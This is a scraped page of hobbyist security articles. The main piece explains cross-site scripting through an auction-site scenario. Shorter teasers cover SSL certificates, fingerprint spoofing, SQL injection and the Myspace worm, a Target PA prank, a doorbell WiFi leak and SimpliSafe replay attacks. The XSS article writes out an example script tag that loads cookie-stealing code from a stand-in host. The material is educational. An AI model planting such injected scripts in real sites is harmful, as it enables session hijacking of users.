The Dark Arts: Cross Site Scripting

In 2011, a group of hackers known as Lulzsec went on a two month rampage hacking into dozens of websites including those owned by FOX, PBS, the FBI, Sony and many others. The group was eventually caught and questioned in how they were able to pull off so many hacks. It would be revealed that none of the hackers actually knew each other in real life. They didn’t even know each other’s real names. They only spoke in secluded chat rooms tucked away in a dark corner of the internet and knew each other by their  aliases – [tFlow], [Sabu], [Topiary], [Kayla], to name a few. Each had their own special skill, and when combined together they were a very effective team of hackers.

It was found that they used 3 primary methods of cracking into websites – SQL injection, cross-site scripting and remote file inclusion. We gave a basic overview of how a SQL injection attack works in the previous article of this series. In this article we’re going to do the same with cross-site scripting, or XSS for short. SQL injection has been called the biggest vulnerability in the history of mankind from a potential data loss perspective. Cross-site scripting comes in as a close second. Let’s take a look at how it works.

XSS Scenario

Let us suppose that you wanted to sell an Arduino on your favorite buy-and-sell auction website. The first thing to do would be to log into the server. During this process,  a cookie from that server would be stored on your computer. Anytime you load the website in your browser, it will send that cookie along with your HTTP request to the server, letting it know that it was you and saving you from having to log in every time you visit. It is this cookie that will become the target of our attack.

You would then open up some type of window that would allow you to type in a description of your Arduino that potential buyers could read. Let’s imagine you say something like:

Arduino Uno in perfect condition. New in Box. $15 plus shipping.

You would save your description and it would be stored on a database in the server. So far, there is nothing out of the ordinary or suspicious about our scenario at all. But let’s take a look at what happens when a potential buyer logs into the server. They’re in need of an Arduino and see your ad that you just posted. What does their browser see when they load your post?

Arduino Uno in perfect condition. <b>New in Box</b>. $15 plus shipping.
xss_02
Source

Whether you realize it or not, you just ran HTML code (in the form of the bold tags) on their computer, albeit harmless code that does what both the buyer and seller want – to highlight a specific selling point of the product. But what other code can you run? Can you run code that might do something the buyer surely does not want? Code that will run on any and every computer that loads the post? Not only should you be able to see where we’re going with this, you should also be able to see the scope of the problem and just how dangerous it can be.

Now let us imagine a Lulzsec hacker is out scoping for some much needed lulz. He runs across your post and nearly instantly recognizes that you were able to run HTML code on his computer. He then makes a selling ad on the website:

Lot of 25 Raspberry Pi Zeros - New in Box - < script src="http://lulz.com/email_me_your_cookie.js" ></script> - $100, free shipping.

Now as soon as someone opens up the hacker’s ad, the script section will load up the malicious off-site code and steal the victim’s session cookie. Normally, only the website specified in a cookie has access to that cookie. Here, since the malicious code was served from the auction website’s server, the victim’s browser has no problem with sending the auction website’s cookie. Now the hacker can load the cookie into his browser to impersonate the victim, allowing the hacker access to everything his victim has access to.

Endless Opportunities

With a little imagination, you can see just how far you can reach with a cross-site scripting attack. You can envision a more targeted attack with a hacker trying to get inside a large company like Intel by exploiting a flawed competition entry process. The hacker visits the Intel Edison competition entry page and sees that he can run code in the application submission form. He knows someone on the Intel intranet will likely read his application and guesses it will be done via a browser. His XSS attack will run as soon as his entry is opened by the unsuspecting Intel employee.

This kind of attack can be run in any user input that allows containing code to be executed on another computer. Take a comment box for instance. Type in some type of < script >evil</script> into a comment box and it will load on every computer that loads that page. [Samy Kamkar] used a similar technique to pull off his famous Myspace worm as we talked about in the beginning of the previous article in this series. XSS, at one time, could even have been done with images.

Preventing XSS attacks

As with SQLi based attacks, almost all website developers in this day and age are aware of XSS and take active measures to prevent it. One prevention is validating input. Trying to run JavaScript in most applications where you should not be will not only give you an error, but will likely flag your account as being up to no good.

xss_03
Source

One thing you can do to protect yourself from such an attack is to use what is known as a sandboxed browser. This keeps code that runs in a browser in a “box” and keeps the rest of your computer safe. Most modern browsers have this technology built in. A more drastic step would be to disable JavaScript entirely from running on your computer.

There are people here that are far more knowledgeable than I on these type of hacking techniques. It was my hope to give the average hardware hacker a basic understanding of XSS and how it works. We welcome comments from those with a more advanced knowledge of cross-site scripting and other website hacking techniques that would help to deepen everyone’s understanding of these important subjects.

Source

XSS Flash animation 1

XSS Flash animation 2

Anti-Hack: Free Automated SSL Certificates

You want to put your credit card number into a web site. You know to look for a secure web site. But what does that really prove? And now that so many electronic projects have Web servers (ok, I’ll say it… the Internet of Things), do you need to secure your web server?

There was a time when getting a secure certificate (at least one that was meaningful) cost a pretty penny. However, a new initiative backed by some major players (like Cisco, Google, Mozilla, and many others) wants to give you a free SSL certificate. One reason they can afford to do this is they have automated the verification process so the cost to provide a certificate is very low.

Continue reading “Anti-Hack: Free Automated SSL Certificates”

Finger Print Scanners Really Aren’t That Secure

Maybe you suspected this already, but researchers at MSU Computer Science just published a paper explaining just how easy it is to spoof a fingerprint scanner with a ink-jet printed scan of a finger.

We’re not talking about casting a new finger using superglue or anything, but rather using conductive ink you can literally print — on paper. A paper-printed-fingerprint that will unlock your smartphone. We’ve already told you fingerprints suck for security, but hopefully this drives the point home.

[Kai Cao] and [Anil K Jain] released this paper (Direct PDF link) outlining their technique. Using an existing scan of a fingerprint (which can be taken from your phone’s scanner), the image is mirrored, and then printed using a regular ink-jet printer, with all of its color cartridges replaced with AgIC4 silver conductive ink.
Continue reading “Finger Print Scanners Really Aren’t That Secure”

The Dark Arts: SQL Injection and Secure Passwords

As the year of 2005 was drawing to a close, a website known as Myspace was basking in popularity. With millions of users, the site was the most popular social networking site in the world. It was unique in that it let users use HTML code to customize their Myspace page. Most of us, c’mon…admit it….had a Myspace page. The coding part was fun! But not everything was changeable with code. You could only upload up to 12 images and the Relationship Status drop-down menu only had a few options to choose from. These limitations did not sit well with [Samy Kamkar], a 19 year old hacker out of Los Angeles.

sql_03
Source

It didn’t take [Samy] long to figure out how to trick the site to let him upload more images and change his relationship status to a customized “in a hot relationship”. After hoodwinking the Myspace site with some simple hacks, he realized he could do just about anything he wanted to with it. And this is where things get interesting. It took just over a week to develop a script that would force people who visited his page to add him as a friend. But that wasn’t enough. He then programmed the script to copy itself onto the visitor’s page. [Samy] had developed a self-propagating worm.

The script went live as [Samy] went to bed. He woke up the next morning with 200 friends requests. An hour later the number had doubled. [Samy] got worried and sent an anonymous email to the webmaster warning of the worm. It was ignored. By 1:30PM that day, he had over 6,000 friends request. And like any good hacker worth his weight in floppy drives, his sense of humor had him program the script to also add his name to each visitor’s Heroes List. This angered many people, who deleted him from their page, only to get reinfected moments later when they visited another (infected) page.

[Samy’s] script was raging out of control.  As the evening closed in, his friends count had reached 919,664. It would top the 1 million mark just before Myspace took their servers offline to figure out what was going on. Two hours later, the site was back up. [Samy’s] profile page had been deleted.

[Samy] had used a technique known as cross-site scripting (XSS) to pull off his hack. We’ll touch on XSS in a later article. For now, we’re going to stick to the basics – proper passwords and SQL Injection.

Continue reading “The Dark Arts: SQL Injection and Secure Passwords”

Social Engineering Your Way To The Target PA System

If we were to express an official view of the what these guys did once they hacked into a Target store’s PA system, we’d have to go with definitely uncool. However, it’s good to know that phone phreaking and good ol’ social engineering isn’t dead yet. Many of us got our start by playing with the systems around us.

Anyone could call into a Target store and request to be transferred to the PA’s extension code, which was the same everywhere. If the person transferring the call wasn’t quick on their feet, the caller would then be patched directly into the stores PA system. The kicker? Target had no way of stopping the PA until the caller hung-up. It’s the way the system was designed.

The hack itself is embarrassingly simple. The PA is attached to the in-store phone network. This is pretty standard. We’ve all seen a sales associate go up to phone in a store, dial a number, and make an announcement throughout the store. Where Target went wrong is improper separation of systems, and poorly thought out standardization.

The weakest link in security is always the people it’s designed for, not the one’s it’s designed to keep out. It’s a fun little prank, and hopefully Target has it sorted out now.

Continue reading “Social Engineering Your Way To The Target PA System”

Password Extraction Via Front Doorbell

Not a day goes by without another IoT security hack. If you’re wondering why you don’t want your front doorbell connected to the Internet, this hack should convince you.

The hack is unfathomably stupid. You press the button on the back of the unit that pairs the doorbell with your home WiFi network, and it transmits the password in the clear. Sigh. It’s since been fixed, and we suppose that’s a good thing, but we can’t resist thinking for a moment about an alternative implementation.

Imagine, like all previous non-IoT wireless doorbells, that the doorbell transmitted a not-very coded signal over an open frequency like 433 MHz to a receiver inside your home. Do the same with the video stream. Now the receiver can be connected to the Internet, and can be significantly more secure because it’s behind your locked front door. The attack surface presented to the outside world by the doorbell itself is small, and limited to faking a doorbell press or showing you pictures you don’t want to see. Yawn.

But because the outside doorbell unit could be connected to a network, it was. Now the attack surface extends into your home’s network, and if you’re like most people, the WiFi router was your only real defense.

Now we love the IoT, in principle. There are tons of interesting applications that need the sort of bandwidth or remote availability that the Internet provides. We’re just not convinced yet that a doorbell, or a fridge for that matter, meet the criteria. But it does add a hundred bucks to the price tag, so that’s good, right? What do you think? When does the risk of IoT justify the reward?

Thanks [Dielectric] for the tip!

Breaking SimpliSafe Security Systems With Software Defined Radio

The SimpliSafe home security system is two basic components, a keyboard and a base station. Sensors such as smoke detectors, switches, and motion sensors can be added to this system, all without a wired installation. Yes, this security system is completely wireless. Yes, you can still buy a software defined radio for ten dollars. Yes, the device has both “simple” and “safe” in its name. We all know where this is going, right?

Last week, [Andrew Zonenberg] at IOActive published a security vulnerability for the SimpliSafe wireless home security system. As you would expect from an off-the-shelf, wireless, DIY security system, the keypad and base station use standard 433 MHz and 315 MHz ISM band transmitters and receivers. [Dr. Zonenberg]’s attack on the system didn’t use SDR; instead, test points on the transmitters were tapped and messages between the keypad and base station were received in cleartext. When the correct PIN is entered in the keypad, the base station replies with a ‘PIN entered’ packet. Replaying this packet with a 433 MHz transmitter will disable the security system.

[Michael Ossmann] took this one step further with a software defined radio. [Ossmann] used a HackRF One to monitor the transmissions from the keypad and turned to a cheap USB SDR dongle to capture packets. Replaying keypad transmissions were easy, but with a little bit more work new attacks can be found. The system can be commanded to enter test mode even when the system is armed bypassing notifications to the owner.

It’s a hilarious failure of wireless security, especially given the fact that this exploit can be performed by anyone with $100 in equipment. With a little more effort, an attacker can execute a PIN replay from a mile away. Sadly, failures of security of this magnitude are becoming increasingly common. There will assuredly be more attacks of this kind in the future, at least until hardware manufacturers start taking the security (of their security products) seriously.